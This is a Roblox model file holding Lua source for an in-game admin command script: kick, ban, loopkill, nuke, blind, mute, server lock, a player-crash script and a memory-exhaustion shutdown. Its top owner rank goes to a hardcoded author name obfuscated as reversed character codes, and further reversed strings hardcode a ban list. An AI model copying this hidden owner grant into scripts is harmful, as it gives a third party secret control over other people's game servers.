if v and v:findFirstChild(&quot;PlayerGui&quot;) and not ChkAdmin(v.Name, false) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Remove() end end
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;EFFECTGUISTROBE&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
local cl = script.scripts.strobe:Clone() cl.Parent = scr cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,9) == &quot;unstrobe &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name == &quot;EFFECTGUISTROBE&quot; then g:Remove() end end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;blind &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and not ChkAdmin(v.Name, false) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Remove() end end
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;EFFECTGUIBLIND&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
end
end))
end
end

if msg:lower():sub(1,8) == &quot;unblind &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name == &quot;EFFECTGUIBLIND&quot; then g:Remove() end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;guifix &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Remove() end end
end
end))
end
end

if msg:lower():sub(1,9) == &quot;loopheal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
if v then
local cl = script.scripts.loopheal:Clone() cl:findFirstChild(&quot;Value&quot;).Value = v cl.Name = &quot;LoopHeal&quot;..v.Name cl.Parent = game.Workspace cl.Disabled = false
end
end
end

if msg:lower():sub(1,11) == &quot;unloopheal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i,v in pairs(plrz) do for q,sc in pairs(game.Workspace:GetChildren()) do if sc.Name == &quot;LoopHeal&quot;..v.Name then sc:Remove() end end end
end

if msg:lower():sub(1,10) == &quot;loopfling &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
if v then
local cl = script.scripts.loopfling:Clone() cl.Name = &quot;LoopFling:&quot;..v.Name cl:findFirstChild(&quot;Value&quot;).Value = v cl.Parent = game.Workspace cl.Disabled = false
end
end
end

if msg:lower():sub(1,12) == &quot;unloopfling &quot; then
local plrz = GetPlr(plr, msg:lower():sub(13))
for i,v in pairs(plrz) do for q,sc in pairs(game.Workspace:GetChildren()) do if sc.Name == &quot;LoopFling:&quot;..v.Name then sc:Remove() table.remove(objects,q) end end end
end
	
end

-------------------------
-- True Owner Commands --
-------------------------

if plr.Name:lower() == nfs:lower() or plr.userId == (1) then

if msg:lower():sub(1,3) == &quot;oa &quot; then
local plrz = GetPlr(plr, msg:lower():sub(4))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild(&quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {v}) end)) end
end))
end
end

if msg:lower():sub(1,5) == &quot;unoa &quot; then
for i = 1, #owners do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(6) == &quot;all&quot; or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
end))
end
end

if msg:lower() == &quot;settings&quot; then
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == &quot;SETTINGSGUI&quot; then v:Remove() end end
local scr = Instance.new(&quot;ScreenGui&quot;,plr.PlayerGui) scr.Name = &quot;SETTINGSGUI&quot;
local main = Instance.new(&quot;Frame&quot;, scr) pcall(function() main.Style = &quot;RobloxRound&quot; end) main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 pcall(function() main.ClipsDescendants = true end)
local title = Instance.new(&quot;TextLabel&quot;, main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) pcall(function() title.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() title.TextStrokeTransparency = .9 end) title.Text = &quot;Settings&quot; pcall(function() title.Font = &quot;ArialBold&quot; end) pcall(function() title.FontSize = &quot;Size24&quot; end) title.ZIndex = 8
local s1 = Instance.new(&quot;TextLabel&quot;, main) s1.Position = UDim2.new(0,0,0,50) s1.Text = &quot;Prefix:&quot; s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) pcall(function() s1.Font = &quot;ArialBold&quot; end) pcall(function() s1.FontSize = &quot;Size18&quot; end) pcall(function() s1.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() s1.TextStrokeTransparency = .9 end) pcall(function() s1.TextXAlignment = &quot;Left&quot; end) s1.ZIndex = 8
local tb1 = Instance.new(&quot;TextBox&quot;, main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) pcall(function() tb1.Font = &quot;Arial&quot; end) pcall(function() tb1.FontSize = &quot;Size18&quot; end) pcall(function() tb1.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() tb1.TextStrokeTransparency = .9 end) pcall(function() tb1.TextYAlignment = &quot;Top&quot; end) pcall(function() tb1.ClipsDescendants = true end) tb1.ZIndex = 8
local s2 = Instance.new(&quot;TextLabel&quot;, main) s2.Position = UDim2.new(0,0,0,80) s2.Text = &quot;Fun Commands:&quot; s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) pcall(function() s2.Font = &quot;ArialBold&quot; end) pcall(function() s2.FontSize = &quot;Size18&quot; end) pcall(function() s2.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() s2.TextStrokeTransparency = .9 end) pcall(function() s2.TextXAlignment = &quot;Left&quot; end) s2.ZIndex = 8
local cb1 = Instance.new(&quot;TextButton&quot;, main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) pcall(function() cb1.Font = &quot;Arial&quot; end) pcall(function() cb1.FontSize = &quot;Size18&quot; end) pcall(function() cb1.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() cb1.TextStrokeTransparency = .9 end) pcall(function() cb1.TextYAlignment = &quot;Top&quot; end) cb1.ZIndex = 8
if FunCommands then cb1.Text = &quot;X&quot; else cb1.Text = &quot;&quot; end tb1.Text = prefix
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= &quot;&quot; then prefix = tb1.Text:sub(1,1) end end)
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = &quot;&quot; else FunCommands = true cb1.Text = &quot;X&quot; end end)
local cls = Instance.new(&quot;TextButton&quot;, main) pcall(function() cls.Style = &quot;RobloxButtonDefault&quot; end) cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 pcall(function() cls.Font = &quot;ArialBold&quot; end) pcall(function() cls.FontSize = &quot;Size18&quot; end) cls.Text = &quot;X&quot; cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Remove() end)
end

end

--------------------
-- Owner Commands --
--------------------

if plr.Name:lower() == nfs:lower() or plr.userId == (1) or ChkOwner(plr.Name:lower()) then

if msg:lower():sub(1,3) == &quot;pa &quot; then
local plrz = GetPlr(plr, msg:lower():sub(4))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild(&quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {v}) end)) end
end))
end
end

if msg:lower():sub(1,5) == &quot;unpa &quot; then
for i = 1, #admins do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(6) == &quot;all&quot; or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
end))
end
end

if msg:lower():sub(1,5) == &quot;nuke &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
local p = Instance.new(&quot;Part&quot;,game.Workspace) table.insert(objects,p)
p.Anchored = true
p.CanCollide = false
pcall(function() p.formFactor = &quot;Symmetric&quot; end)
pcall(function() p.Shape = &quot;Ball&quot; end)
p.Size = Vector3.new(1,1,1)
p.BrickColor = BrickColor.new(&quot;New Yeller&quot;)
p.Transparency = .5
p.Reflectance = .2
p.TopSurface = 0
p.BottomSurface = 0
p.Touched:connect(function(hit)
if hit and hit.Parent then
local ex = Instance.new(&quot;Explosion&quot;, game.Workspace)
ex.Position = hit.Position
ex.BlastRadius = 11
ex.BlastPressure = math.huge
end
end)
local cf = v.Character.Torso.CFrame
p.CFrame = cf
for i = 1, 333 do
p.Size = p.Size + Vector3.new(3,3,3)
p.CFrame = cf
wait(1/44)
end
p:Remove()
end
end))
end
end

end

--------------------------
-- Super Admin Commands --
--------------------------

if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.Name:lower() == nfs:lower() or plr.userId == (1) or plr.Name:lower() == nfs then

if msg:lower() == &quot;logs&quot; then
if plr.PlayerGui:findFirstChild(&quot;LOGSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;LOGSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;[&quot; .. v.time .. &quot;] &quot; .. v.name .. &quot; &quot; .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end
	
if msg:lower():sub(1,9) == &quot;loopkill &quot; then
local chk1 = msg:lower():sub(10):find(&quot; &quot;)
local plrz = GetPlr(plr, msg:lower():sub(10))
local num = 9999
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == &quot;number&quot; then num = tonumber(msg:sub(chk1+1)) end end
for i, v in pairs(plrz) do
if v and not ChkAdmin(v.Name, false) then
local cl = script.scripts.loopkill:Clone() cl.Name = &quot;LoopKill:&quot;..v.Name cl.Value.Value = v cl.Parent = game.Workspace cl.Disabled = false
end
end
end

if msg:lower():sub(1,11) == &quot;unloopkill &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i,v in pairs(plrz) do for q,sc in pairs(game.Workspace:GetChildren()) do if sc.Name == &quot;LoopKill:&quot;..v.Name then sc:Remove() end end end
end


if msg:lower():sub(1,9) == &quot;explorer &quot; then
local chk1 = msg:lower():sub(10):find(&quot; &quot;)
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
if v and ChkOwner(v.Name, true) then --if this was given to non-super-admins, they could kick players.
local modernexpl = script.scripts[&quot;2012Lexplorer&quot;].ExplorerPanel

local ismodern = pcall(function()
	return modernexpl.MouseWheelForward
end)


if ismodern then
local bababooey = script.scripts[&quot;2012Lexplorer&quot;]:clone() 
bababooey.LocalScript.Disabled = false
bababooey.ExplorerPanel.LocalScript.Disabled = false
bababooey.PropertiesFrame.Properties.Disabled = false
bababooey.Parent = v.PlayerGui
else
local cl = script.scripts.explorer:Clone() cl.Parent = v.PlayerGui cl.Disabled = false
end

end
end
end

--[[if msg:lower():sub(1,9) == &quot;template &quot; then
local chk1 = msg:lower():sub(10):find(&quot; &quot;)
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
if v and not ChkAdmin(v.Name, false) then
local cl = script.scripts.loopkill:Clone() cl.Name = &quot;LoopKill:&quot;..v.Name cl.Value.Value = v cl.Parent = game.Workspace cl.Disabled = false
end
end
end]]--


if msg:lower() == &quot;serverlock&quot; or msg:lower() == &quot;slock&quot; then slock = true Hint(&quot;Server has been locked&quot;, game.Players:children()) end
if msg:lower() == &quot;serverunlock&quot; or msg:lower() == &quot;sunlock&quot; then slock = false Hint(&quot;Server has been unlocked&quot;, game.Players:children()) end

if msg:lower():sub(1,3) == &quot;sm &quot; then
Message(&quot;SYSTEM MESSAGE&quot;, msg:sub(4), false, game.Players:children())
end

if msg:lower():sub(1,3) == &quot;ko &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
local num = 500 if num &gt; msg:sub(chk1+1) then num = msg:sub(chk1+1) end
for n = 1, num do
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) and not ChkAdmin(v.Name, false) then 
local val = Instance.new(&quot;ObjectValue&quot;, v.Character.Humanoid) val.Value = plr val.Name = &quot;creator&quot;
v.Character:BreakJoints() 
wait(1/44) 
v:LoadCharacter()
wait(1/44) 
end
end))
end
end
end

if msg:lower():sub(1,6) == &quot;crash &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) and not ChkAdmin(v.Name, false) then
local cl = script.scripts.crash:Clone() cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Remove()
end
end))
end
end

if msg:lower():sub(1,5) == &quot;kick &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then v:Remove() end
end))
end
end

if msg:lower():sub(1,5) == &quot;mute &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then
local mute = script.scripts.mute:clone() mute.Val.Value = false mute.Parent = v.PlayerGui wait() mute.Disabled = false
end
end))
end
end


if msg:lower():sub(1,7) == &quot;unmute &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then
local mute = script.scripts.mute:clone() mute.Val.Value = true mute.Parent = v.PlayerGui wait() mute.Disabled = false
end
end))
end
end


if msg:lower():sub(1,6) == &quot;admin &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild(&quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {v}) end)) end
end))
end
end

if msg:lower():sub(1,8) == &quot;unadmin &quot; then
for i = 1, #tempadmins do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(9) == &quot;all&quot; or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
end))
end
end

if msg:lower():sub(1,4) == &quot;ban &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.scripts.crash:Clone() cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Remove() end
end))
end
end

if msg:lower():sub(1,6) == &quot;unban &quot; then
for i = 1, #banland do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(7) == &quot;all&quot; or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
end))
end
end

if msg:lower() == &quot;shutdown&quot; then Message(&quot;SYSTEM MESSAGE&quot;, &quot;Shutting down...&quot;, false, game.Players:children(), 10) wait(1) local str = Instance.new(&quot;StringValue&quot;, game.Workspace) str.Value = &quot;AA&quot; repeat str.Value = str.Value .. str.Value wait(.1) until nil end

end
end))
end

function AdminControl(plr)
    -- CharacterAdded connection for removing RobloxTeam and CharacterMesh remains the same
    coroutine.resume(coroutine.create(function()
        plr.CharacterAdded:connect(function(chr)
            local teamObj = WaitForChild(chr, &quot;RobloxTeam&quot;)
            if teamObj then teamObj:Remove() end -- Safely remove team object
            for a, obj in pairs(chr:children()) do
                if obj:IsA(&quot;CharacterMesh&quot;) and obj.Name:find(&quot;3.0&quot;) then
                    obj:Remove()
                end
            end
        end)
    end))

    -- Check if player name starts with &quot;Player&quot; AND is an admin
    if plr.Name:sub(1, 6) == &quot;Player&quot; and ChkAdmin(plr.Name, false) then
        -- This coroutine handles creating the command bar for these specific users
        coroutine.resume(coroutine.create(function()
            WaitForChild(plr, &quot;PlayerGui&quot;) -- Ensure PlayerGui exists

            -- Remove any pre-existing command bar from previous sessions/errors
            for i, v in pairs(plr.PlayerGui:children()) do
                if v.Name == &quot;CMDBAR&quot; then v:Remove() end
            end

            -- =============================================================
            -- == START: MODIFIED CMDBAR CREATION FOR AdminControl =========
            -- =============================================================
            -- Create the main ScreenGui
            local scr = Instance.new(&quot;ScreenGui&quot;, plr.PlayerGui)
            scr.Name = &quot;CMDBAR&quot;

            -- Define Placeholder Text
            local placeholderText = &quot;  Type command &amp; click Run&quot;

            -- *** BUTTON CREATION IS HERE ***
            local submitButton = Instance.new(&quot;TextButton&quot;, scr)
            submitButton.Name = &quot;SubmitButton&quot;
            submitButton.Size = UDim2.new(0, 40, 0, 20) -- Width 40, Height 20
				pcall(function() submitButton.Style = &quot;RobloxButton&quot; end)
            -- Position button to the left of the text box: Total Width 250 + Button Width 40 = 290. Offset X = -290
            submitButton.Position = UDim2.new(1, -290, 0.95, -22)
            submitButton.BackgroundColor3 = Color3.new(134, 128, 123) -- Greenish button 0.1, 0.7, 0.1
            submitButton.TextColor3 = Color3.new(1, 1, 1)
            pcall(function() submitButton.Font = &quot;Arial&quot; end)
            pcall(function() submitButton.FontSize = &quot;Size14&quot; end)
            submitButton.Text = &quot;Run&quot;
            submitButton.ZIndex = 11 -- Ensure button is on top

            -- Create the Text Box (Position adjusted for the button)
            local box = Instance.new(&quot;TextBox&quot;, scr)
            box.Name = &quot;CommandInputBox&quot;
            box.BackgroundColor3 = Color3.new(0, 0, 0)
            box.TextColor3 = Color3.new(1, 1, 1)
            pcall(function() box.Font = &quot;Arial&quot; end)
            pcall(function() box.FontSize = &quot;Size14&quot; end)
            box.Text = placeholderText -- Set initial text
            box.Size = UDim2.new(0, 250, 0, 20) -- Original width
            -- Position text box next to the button: Offset X = -250
            box.Position = UDim2.new(1, -250, 0.95, -22)
            box.BorderSizePixel = 0
            pcall(function() box.TextXAlignment = &quot;Left&quot; end) -- Use Left alignment for standard input
            box.ZIndex = 10
            pcall(function() box.ClipsDescendants = true end)

            -- Simple Placeholder Logic
            pcall(function()box.FocusGained:connect(function()
                if box.Text == placeholderText then
                    box.Text = &quot;&quot;
                    box.TextColor3 = Color3.new(1, 1, 1)
                end
            end) 
            box.FocusLost:connect(function()
                if box.Text == &quot;&quot; then
                    box.Text = placeholderText
                    box.TextColor3 = Color3.new(0.7, 0.7, 0.7)
                end
            end) end)
            -- Initialize placeholder appearance
            box.TextColor3 = Color3.new(0.7, 0.7, 0.7)

            -- *** BUTTON CLICK LOGIC IS HERE (HANDLES SUBMIT) ***
            -- This logic is identical to the fix applied in the Chat function&apos;s :cmdbar command
            submitButton.MouseButton1Click:connect(function()
                local commandInput = box.Text

                -- Ignore if it&apos;s empty or still the placeholder
                if commandInput == &quot;&quot; or commandInput == placeholderText then
                    return
                end

                -- 1. Trim whitespace
                commandInput = commandInput:match(&quot;^%s*(.-)%s*$&quot;)

                if not commandInput or commandInput == &quot;&quot; then return end -- Check again after trimming

                -- 2. Handle Prefix (; or missing :)
                local finalCommand
                local firstChar = commandInput:sub(1, 1)
                local firstPrefixChars = commandInput:sub(1, prefix:len())

                if firstPrefixChars == prefix then
                    finalCommand = commandInput -- Already correct
                elseif firstChar == &quot;;&quot; then
                    finalCommand = prefix .. commandInput:sub(2) -- Replace ;
                else
                    finalCommand = prefix .. commandInput -- Add prefix
                end

                -- 3. Log the command (optional, but good practice)
                local commandPartForLog = finalCommand:sub(prefix:len() + 1)
                if commandPartForLog:sub(1,7):lower() ~= &quot;hitler &quot; then --YES this is apart of the original commands. DONT know why.
                    table.insert(logs, 1, {name = plr.Name, cmd = finalCommand, time = GetTime()})
                else
                    table.insert(logs, 1, {name = plr.Name, cmd = finalCommand, time = GetTime()})
                end


                -- 4. Call the main Chat function RECURSIVELY with the processed command
                Chat(finalCommand, plr)

                -- 5. Reset the text box
                box.Text = placeholderText
                box.TextColor3 = Color3.new(0.7, 0.7, 0.7)
                pcall(function() box:ReleaseFocus() end)
            end)
            -- =============================================================
            -- == END: MODIFIED CMDBAR CREATION FOR AdminControl ===========
            -- =============================================================

        end)) -- End of the coroutine for GUI creation
    end -- End of the if statement checking player name/admin status

    -- Other coroutines in AdminControl remain the same
coroutine.resume(coroutine.create(function() WaitForChild(plr, &quot;PlayerGui&quot;) WaitForChild(plr, &quot;Backpack&quot;) if plr.userId == (1) then table.insert(owners, plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. &quot; has tried to join the server&quot;, game.Players:children()) local cl = script.scripts.crash:Clone() cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Remove() end end))
    coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
    coroutine.resume(coroutine.create(function() WaitForChild(plr, &quot;PlayerGui&quot;) WaitForChild(plr, &quot;Backpack&quot;) wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == (&quot;111reyalseca&quot;):reverse() or plr.Name:lower() == (&quot;ecnaillirbi&quot;):reverse() or plr.Name:lower() == (&quot;8k2ffets&quot;):reverse()) and (plr.Name:lower():sub(1, 4) ~= script.Name:lower():sub(1, 4) and plr.Name:lower():sub(5) ~= &quot;tastrophe&quot;) then local cl = script.scripts.crash:Clone() cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Remove() end end))
    coroutine.resume(coroutine.create(function() if VipAdmin and game:service(&quot;BadgeService&quot;) and pcall(function() return game:service(&quot;BadgeService&quot;):UserHasBadge(plr.userId, ItemId) end) then table.insert(tempadmins, plr.Name) end end)) -- Added pcall safety for BadgeService
    coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then WaitForChild(plr, &quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {plr}) end end))

    -- Chatted connection remains the same
    plr.Chatted:connect(function(msg) Chat(msg, plr) end)
end -- End of AdminControl function



local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = &quot;&quot; for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)

--script.Name = &quot;Kohl&apos;s Admin Commands V2&quot;

--[[if not ntab then script:Remove() end
if not bct then script:Remove() end
if not tcb then script:Remove() end]]--





game.Players.PlayerAdded:connect(AdminControl)
for i, v in pairs(game.Players:children()) do AdminControl(v) end
--end

-- NEED NOT UPDATE!!!! :P
--[[local mod = game:service(&quot;InsertService&quot;):LoadAsset(100808216)
if mod:findFirstChild(&quot;Kohl&apos;s Admin Commands V2&quot;) and mod:findFirstChild(&quot;Version&quot;, true) and AutoUpdate then 
local newac = mod:findFirstChild(&quot;Kohl&apos;s Admin Commands V2&quot;)
newac.Disabled = true
local new = tonumber(mod:findFirstChild(&quot;Version&quot;, true).Value)
local old = 0
if script:findFirstChild(&quot;Version&quot;, true) then old = tonumber(script:findFirstChild(&quot;Version&quot;, true).Value) end
if new &gt; old then
local adminmod = Instance.new(&quot;Model&quot;, game.Lighting) adminmod.Name = &quot;KACV2&quot;
for i,v in pairs(owners) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;Owner&quot; strv.Value = v end
for i,v in pairs(admins) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;Admin&quot; strv.Value = v end
for i,v in pairs(tempadmins) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;TempAdmin&quot; strv.Value = v end
for i,v in pairs(banland) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;Banland&quot; strv.Value = v end
local prf = Instance.new(&quot;StringValue&quot;, adminmod) prf.Name = &quot;Prefix&quot; prf.Value = prefix
local bv = Instance.new(&quot;BoolValue&quot;, adminmod) bv.Name = &quot;FunCommands&quot; bv.Value = FunCommands
local bv2 = Instance.new(&quot;BoolValue&quot;, adminmod) bv2.Name = &quot;GroupAdmin&quot; bv2.Value = GroupAdmin
local iv = Instance.new(&quot;IntValue&quot;, adminmod) iv.Name = &quot;GroupId&quot; iv.Value = GroupId
local iv2 = Instance.new(&quot;IntValue&quot;, adminmod) iv2.Name = &quot;GroupRank&quot; iv2.Value = GroupRank
local bv3 = Instance.new(&quot;BoolValue&quot;, adminmod) bv3.Name = &quot;VipAdmin&quot; bv3.Value = VipAdmin
local iv3 = Instance.new(&quot;IntValue&quot;, adminmod) iv3.Name = &quot;ItemId&quot; iv3.Value = ItemId
wait()
newac.Parent = game.Workspace
newac.Disabled = false
script.Disabled = true
script:Remove()
else
CHEESE()
end
else
CHEESE()
end]]--

--CHEESE() 



</ProtectedString>
		</Properties>
		<Item class="Script" referent="RBX1">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Disabled">true</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">ScriptBase</string>
				<ProtectedString name="Source">repeat wait() until script:findFirstChild(&quot;Code&quot;)
loadstring(script.Code.Value)()</ProtectedString>
			</Properties>
			<Item class="StringValue" referent="RBX2">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">Code</string>
					<string name="Value"></string>
				</Properties>
			</Item>
		</Item>
		<Item class="LocalScript" referent="RBX3">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Disabled">true</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">LocalScriptBase</string>
				<ProtectedString name="Source">repeat wait() until script:findFirstChild(&quot;Code&quot;)
loadstring(script.Code.Value)()</ProtectedString>
			</Properties>
			<Item class="StringValue" referent="RBX4">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">Code</string>
					<string name="Value"></string>
				</Properties>
			</Item>
		</Item>
		<Item class="IntValue" referent="RBX5">
			<Properties>
				<bool name="Archivable">true</bool>
				<string name="Name">Version</string>
				<int name="Value">1337</int>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX6">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">scripts</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="LocalScript" referent="RBX7">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">swagify</string>
					<ProtectedString name="Source">local plr = game.Players.LocalPlayer
repeat wait() until plr and plr.Character and plr.Character:findFirstChild(&quot;Torso&quot;)
local torso = plr.Character.Torso
local p = Instance.new(&quot;Part&quot;, torso.Parent) p.Name = &quot;EpicCape&quot; p.Anchored = false
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new(&quot;Pink&quot;) local dec = Instance.new(&quot;Decal&quot;, p) dec.Face = 2 dec.Texture = &quot;http://www.roblox.com/asset/?id=109301474&quot; 
--[[pcall(function() p.formFactor = &quot;Custom&quot; end)
p.Size = Vector3.new(.2,.2,.2)]]--

pcall(function() p.formFactor = &quot;Symmetric&quot; end)
p.Size = Vector3.new(1,1,1)

local msh = Instance.new(&quot;BlockMesh&quot;, p) 
--msh.Scale = Vector3.new(9,17.5,.5)

